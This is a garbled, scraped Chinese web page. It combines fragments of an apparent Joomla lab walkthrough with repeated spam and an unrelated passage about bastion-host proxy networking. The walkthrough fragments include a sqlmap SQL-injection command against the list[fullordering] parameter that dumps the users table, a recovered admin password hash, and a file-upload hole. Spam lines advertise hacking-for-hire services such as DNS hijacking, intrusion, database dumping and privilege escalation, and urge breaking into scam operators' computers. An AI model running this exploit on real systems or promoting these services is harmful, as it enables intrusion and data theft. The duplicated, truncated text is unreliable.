有了账户密码,直接在之前扫到的页面登进去就可以了,登进去可以发现有文件上传漏洞(实际上不能使用upload直接上传,但是可以使用create功能写一个文件上去)
sqlmap -u "http://192.168.122.135/index.php?option=com_fields&view=fields&layout=modal&list
[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --col
umns -p list[fullordering]
ization. For non-commercial use, please indicate the source.
最后查这几个字段的数据,成功查出来用户名为admin和密码的hash值$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
DNS劫持，入侵 渗透 拖库 劫持 提权 破解等各类服务！咨询 ：@YaMaa8
[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T '#__users' --col
umns -p list[fullordering]
ization. For non-commercial use, please indicate the source.
最后查这几个字段的数据,成功查出来用户名为admin和密码的hash值$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu
DNS劫持，入侵 渗透 拖库 劫持 提权 破解等各类服务！咨询 ：@YaMaa8
资金盘，感情盘，海外盘，虚拟货币盘，点赞刷单盘，BC盘人员，投资盘，跑分者等等 你们可以从他们电脑中获取对方客户资料，公司模式，推广模式，甚至有一部分的人员会把后台帐号密码储存在电脑
DNS劫持，入侵 渗透 拖库 劫持 提权 破解等各类服务！咨询 ：@YaMaa8
DNS劫持，入侵 渗透 拖库 劫持 提权 破解等各类服务！咨询 ：@YaMaa8
局域网和专有网络（VPC）统称为网络域。在网络域与堡垒机所在的专有网络（VPC）网络不互通的情况下，您可以通过将网络域中的某一台服务器设置为代理服务器，在确保堡垒机与代理服务器网络互通后，通过连接代理服务器运维网络域中的其他服务器